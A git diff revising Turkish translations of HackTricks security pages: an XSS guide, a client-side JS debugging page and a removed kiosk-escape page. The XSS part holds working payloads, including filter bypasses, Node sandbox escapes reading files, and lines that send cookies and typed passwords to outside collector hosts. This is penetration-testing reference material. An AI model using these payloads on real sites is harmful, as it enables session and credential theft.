Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kapatmayı** kolayca başarabilirsiniz:
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kolayca kapatmayı** başarabilirsiniz:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -480,7 +482,7 @@ Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML
### JS kodu içinde
Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **rastgele JS çalıştırabilirsiniz**. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,8 +490,8 @@ Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **rastgele J
```
### Şablon Literalleri \`\`
Tekil ve çift tırnaklardan ayrı olarak **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\
Bu nedenle, eğer girdinizin bir JS dizesi içinde ters tırnaklar kullanılarak **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
Tekil ve çift tırnakların yanı sıra **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\
Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
Bu, şu şekilde **kötüye kullanılabilir**:
```javascript
@ -503,14 +505,14 @@ return loop
}
loop``
```
### Kodun kodlanmış yürütülmesi
### Kodun Kodlanmış Yürütülmesi
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
### Unicode Kodlama JS yürütme
### Unicode Encode JS yürütme
```javascript
alert(1)
alert(1)
@ -739,21 +741,21 @@ top[8680439..toString(30)](1)
```
## **DOM zafiyetleri**
**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\
Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği** hakkında ayrıntılı bir **ıklama** bulacaksınız.\
Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
### Self-XSS'i Yükseltme
### Cookie XSS
Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz:
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -763,13 +765,13 @@ Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.
### Oturumunuzu yöneticilere gönderme
Belki bir kullanıcı, profilini yönetici ile paylaşabilir ve eğer self XSS kullanıcının profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir.
Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
### Oturum Yansıtma
Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
**Yöneticiye self XSS'inizi tetikletip çerezlerini/oturumunu çalabilirsiniz.**
**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz.
## Diğer Bypass'lar
@ -828,7 +830,7 @@ document['default'+'View'][`\u0061lert`](3)
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu birinde**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
### Sadece Harfler, Sayılar ve Noktalar
@ -837,11 +839,11 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
### XSS için Geçerli `<script>` İçerik Türleri
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
> [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (application/octet-stream) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
Chrome'un **yüklenmiş bir script** çalıştırmasına izin verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki içerik türleridir.
Chrome'un **yüklenmiş bir script** çalıştırmasına izin verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -863,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### XSS için Script Türleri
### Script Türleri için XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi türler belirtilebilir?
```html
@ -871,8 +873,8 @@ const char* const kSupportedJavascriptTypes[] = {
```
Cevap şudur:
- **modül** (varsayılan, açıklamaya gerek yok)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyası olarak paketlemenizi sağlayan bir özelliktir.
- **module** (varsayılan, açıklamaya gerek yok)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyasına paketlemenizi sağlayan bir özelliktir.
```html
<script type="webbundle">
{
@ -882,7 +884,7 @@ Cevap şudur:
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır.
- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır
```html
<script type="importmap">
{
@ -899,7 +901,7 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı; bu, XSS'yi tetikleyebilir.
Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, böylece XSS tetiklenebilir.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render edilmesinden kaynaklanan bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır:
```html
@ -987,7 +989,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) "hiçbir şeyden" yararlı nesneler oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
- import() kullanarak
```javascript
@ -1011,7 +1013,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **sarmalayıcısına** erişmek ve **`require`** fonksiyonunu almak mümkündür:
Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür:
```javascript
try {
null.f()
@ -1232,7 +1234,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```
## XSS yaygın yükler
### 1'de Birkaç Yük
### Birden Fazla Yük
{{#ref}}
steal-info-js.md
@ -1268,8 +1270,8 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemler
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer şanslıysanız.
> [!TIP]
> HTTPOnly bayrağı çerezde ayarlandığında, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer yeterince şanslıysanız.
### Sayfa İçeriğini Çal
```javascript
@ -1379,7 +1381,7 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.
Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.
### Keylogger
@ -1500,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Gizli İçeriğe Erişim
[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenmek mümkündür ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir:
[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebilir ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1533,13 +1535,13 @@ Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirs
xss-in-markdown.md
{{#endref}}
### XSS ile SSRF
### XSS'den SSRF'ye
**Önbellek kullanan** bir sitede XSS mi elde ettiniz? Bu yükle birlikte Edge Side Include Injection ile **bunu SSRF'ye yükseltmeyi** deneyin:
```python
<esi:include src="http://yoursite.com/capture" />
```
Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasınıın!\
Bunu çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasınımak için kullanın!\
Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### Dinamik oluşturulan PDF'de XSS
@ -1561,7 +1563,7 @@ pdf-injection.md
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1623,7 +1625,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
**Daha fazla SVG yüklemesi bulmak için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Daha fazla SVG yüklemesi bulmak için **[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)**
## Çeşitli JS Hileleri ve İlgili Bilgiler

View File

@ -1,21 +1,19 @@
# Client Tarafı JS Hata Ayıklama
## Client Tarafı JS Hata Ayıklama
{{#include ../../banners/hacktricks-training.md}}
Client tarafı JS hata ayıklamak zor olabilir çünkü URL'yi her değiştirdiğinizde (parametrelerdeki değişiklikler veya parametre değerleri dahil) **kesme noktasını sıfırlamanız ve sayfayı yeniden yüklemeniz** gerekir.
Client tarafı JS hata ayıklama zor olabilir çünkü URL'yi her değiştirdiğinizde (kullanılan parametrelerde veya parametre değerlerinde bir değişiklik dahil) **kesme noktasını sıfırlamanız ve sayfayı yeniden yüklemeniz** gerekir.
### `debugger;`
Bir JS dosyasının içine `debugger;` satırını yerleştirirseniz, **tarayıcı** JS'i çalıştırdığında o noktada **hata ayıklayıcıyı durdurur**. Bu nedenle, sürekli kesme noktaları ayarlamanın bir yolu, **tüm dosyaları yerel olarak indirmek ve JS kodunda kesme noktalarını ayarlamaktır**.
Eğer `debugger;` satırını bir JS dosyasının içine yerleştirirseniz, **tarayıcı** JS'i çalıştırdığında o noktada **hata ayıklayıcıyı durdurur**. Bu nedenle, sürekli kesme noktaları ayarlamanın bir yolu, **tüm dosyaları yerel olarak indirmek ve JS kodunda kesme noktalarını ayarlamak** olacaktır.
### Geçersiz Kılmalar
Tarayıcı geçersiz kılmaları, çalıştırılacak kodun yerel bir kopyasına sahip olmanızı ve uzaktaki sunucudan gelen kod yerine o kopyayı çalıştırmanızı sağlar.\
Geçersiz kılmalara "Geliştirici Araçları" --> "Kaynaklar" --> "Geçersiz Kılmalar" bölümünden **erişebilirsiniz**.
**Geçersiz kılmalar için kullanılacak yerel boş bir klasör oluşturmanız gerekir**, bu yüzden yeni bir yerel klasör oluşturun ve o sayfada geçersiz kılma olarak ayarlayın.
**Geçersiz kılmalar için kullanılacak yerel boş bir klasör oluşturmanız** gerekir, bu yüzden yeni bir yerel klasör oluşturun ve o sayfada geçersiz kılma olarak ayarlayın.
Ardından, "Geliştirici Araçları" --> "Kaynaklar" bölümünde **geçersiz kılmak istediğiniz dosyayı seçin** ve **sağ tıklayarak "Geçersiz kılmalar için kaydet" seçeneğini seçin**.

View File

@ -1,276 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# GUI uygulaması içindeki olası eylemleri kontrol et
**Ortak Diyaloglar**, **bir dosyayı kaydetme**, **bir dosyayı açma**, bir yazı tipi, bir renk seçme gibi seçeneklerdir... Bunların çoğu **tam bir Gezgini işlevselliği sunacaktır**. Bu, bu seçeneklere erişebiliyorsanız Gezgini işlevselliğine erişebileceğiniz anlamına gelir:
- Kapat/Kapat olarak
- Aç/Aç ile
- Yazdır
- Dışa Aktar/Içe Aktar
- Ara
- Tara
Şunları kontrol etmelisiniz:
- Dosyaları değiştirme veya yeni dosyalar oluşturma
- Sembolik bağlantılar oluşturma
- Kısıtlı alanlara erişim sağlama
- Diğer uygulamaları çalıştırma
## Komut Yürütme
Belki **`Aç ile`** seçeneğini kullanarak bazı türde bir shell açabilir/çalıştırabilirsiniz.
### Windows
Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ komutları çalıştırmak için kullanılabilecek daha fazla ikili dosyayı burada bulabilirsiniz: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX \_\_
_bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## Yol kısıtlamalarını aşma
- **Ortam değişkenleri**: Bazı yollara işaret eden birçok ortam değişkeni vardır
- **Diğer protokoller**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
- **Sembolik bağlantılar**
- **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (gezgini aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyaloğu), CTRL-P (Yazdırma Diyaloğu), CTRL-S (Farklı Kaydet)
- Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9
- **Shell URI'leri**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
- **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32")
- **Daha fazla UNC yolu:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
| %LOGONSERVER% | %PATH% | %PATHEXT% |
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
| %PROMPT% | %PSModulePath% | %Public% |
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## İkili Dosyalarınızı İndirin
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Gezgini: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Tarayıcıdan dosya sistemine erişim
| PATH | PATH | PATH | PATH |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
## Kısayollar
- Yapışkan Tuşlar SHIFT tuşuna 5 kez basın
- Fare Tuşları SHIFT+ALT+NUMLOCK
- Yüksek Kontrast SHIFT+ALT+PRINTSCN
- Anahtarları Değiştir NUMLOCK tuşuna 5 saniye basılı tutun
- Filtre Tuşları sağ SHIFT tuşuna 12 saniye basılı tutun
- WINDOWS+F1 Windows Arama
- WINDOWS+D Masaüstünü Göster
- WINDOWS+E Windows Gezgini'ni Başlat
- WINDOWS+R Çalıştır
- WINDOWS+U Erişim Kolaylığı Merkezi
- WINDOWS+F Ara
- SHIFT+F10 Bağlam Menüsü
- CTRL+SHIFT+ESC Görev Yöneticisi
- CTRL+ALT+DEL Daha yeni Windows sürümlerinde açılış ekranı
- F1 Yardım F3 Ara
- F6 Adres Çubuğu
- F11 Internet Explorer'da tam ekranı aç/kapat
- CTRL+H Internet Explorer Geçmişi
- CTRL+T Internet Explorer Yeni Sekme
- CTRL+N Internet Explorer Yeni Sayfa
- CTRL+O Dosya Aç
- CTRL+S Kaydet CTRL+N Yeni RDP / Citrix
## Kaydırmalar
- Sol taraftan sağa kaydırarak tüm açık Windows'ları görün, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin;
- Sağ taraftan sola kaydırarak Eylem Merkezi'ni açın, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin;
- Tam ekran modunda açılmış bir uygulama için başlık çubuğunu görünür hale getirmek üzere üst kenardan kaydırın;
- Tam ekran uygulamasında görev çubuğunu göstermek için alttan yukarı kaydırın.
## Internet Explorer Hileleri
### 'Resim Araç Çubuğu'
Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezginde açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekmektedir.
### Shell Protokolü
Bir Gezgini görünümü elde etmek için bu URL'leri yazın:
- `shell:Administrative Tools`
- `shell:DocumentsLibrary`
- `shell:Libraries`
- `shell:UserProfiles`
- `shell:Personal`
- `shell:SearchHomeFolder`
- `shell:NetworkPlacesFolder`
- `shell:SendTo`
- `shell:UserProfiles`
- `shell:Common Administrative Tools`
- `shell:MyComputerFolder`
- `shell:InternetFolder`
- `Shell:Profile`
- `Shell:ProgramFiles`
- `Shell:System`
- `Shell:ControlPanelFolder`
- `Shell:Windows`
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Denetim Masası
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Bilgisayarım
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Ağ Bağlantılarım
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## Dosya Uzantılarını Göster
Daha fazla bilgi için bu sayfayı kontrol edin: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# Tarayıcı hileleri
Yedek iKat sürümleri:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
JavaScript kullanarak ortak bir diyalog oluşturun ve dosya gezgini erişin: `document.write('<input/type=file>')`
Kaynak: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## Hareketler ve düğmeler
- Dört (veya beş) parmakla yukarı kaydırın / Ana ekran düğmesine çift tıklayın: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için
- Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/son uygulamaya geçmek için
- Beş parmakla ekranı sıkıştırın / Ana ekran düğmesine dokunun / Ekranın altından yukarı doğru hızlı bir hareketle 1 parmakla kaydırın: Ana ekrana erişmek için
- Ekranın altından 1-2 inç kadar yavaşça bir parmakla kaydırın: Dock görünecektir
- Ekranın üst kısmından 1 parmakla aşağı kaydırın: Bildirimlerinizi görüntülemek için
- Ekranın sağ üst köşesinden 1 parmakla aşağı kaydırın: iPad Pro'nun kontrol merkezini görmek için
- Ekranın sol tarafından 1-2 inç kadar bir parmakla kaydırın: Bugün görünümünü görmek için
- Ekranın ortasından sağa veya sola hızlıca 1 parmakla kaydırın: Bir sonraki/son uygulamaya geçmek için
- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine basılı tutun + **güç kapalı** kaydırıcısını tamamen sağa kaydırın: Kapatmak için
- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine birkaç saniye basın: Zorla kapatmak için
- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine hızlıca basın: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız zorla kapatma işlemi gerçekleşir.
## Kısayollar
Bir iPad klavyesine veya bir USB klavye adaptörüne sahip olmalısınız. Uygulamadan kaçmaya yardımcı olabilecek yalnızca kısayollar burada gösterilecektir.
| Tuş | Adı |
| --- | ------------ |
| ⌘ | Komut |
| ⌥ | Seçenek (Alt) |
| ⇧ | Shift |
| ↩ | Geri |
| ⇥ | Sekme |
| ^ | Kontrol |
| ← | Sol Ok |
| → | Sağ Ok |
| ↑ | Yukarı Ok |
| ↓ | Aşağı Ok |
### Sistem kısayolları
Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayarları içindir.
| Kısayol | Eylem |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Ekranı Kısma |
| F2 | Ekranı Parlaklaştırma |
| F7 | Bir şarkıyı geri alma |
| F8 | Oynat/durdur |
| F9 | Şarkıyı atlama |
| F10 | Ses kapatma |
| F11 | Ses seviyesini azaltma |
| F12 | Ses seviyesini artırma |
| ⌘ Boşluk | Mevcut dillerin listesini görüntüle; birini seçmek için boşluk tuşuna tekrar basın. |
### iPad navigasyonu
| Kısayol | Eylem |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ana ekrana git |
| ⌘⇧H (Komut-Shift-H) | Ana ekrana git |
| ⌘ (Boşluk) | Spotlight'ı aç |
| ⌘⇥ (Komut-Sekme) | Son on kullanılan uygulamayı listele |
| ⌘\~ | Son uygulamaya git |
| ⌘⇧3 (Komut-Shift-3) | Ekran görüntüsü (sol altta kaydetmek veya üzerinde işlem yapmak için) |
| ⌘⇧4 | Ekran görüntüsü al ve düzenleyicide aç |
| ⌘'yi basılı tutun | Uygulama için mevcut kısayolların listesini görüntüle |
| ⌘⌥D (Komut-Seçenek/Alt-D) | Dock'u açar |
| ^⌥H (Kontrol-Seçenek-H) | Ana ekran düğmesi |
| ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu göster |
| ^⌥I (Kontrol-Seçenek-i) | Öğe seçici |
| Escape | Geri düğmesi |
| → (Sağ ok) | Sonraki öğe |
| ← (Sol ok) | Önceki öğe |
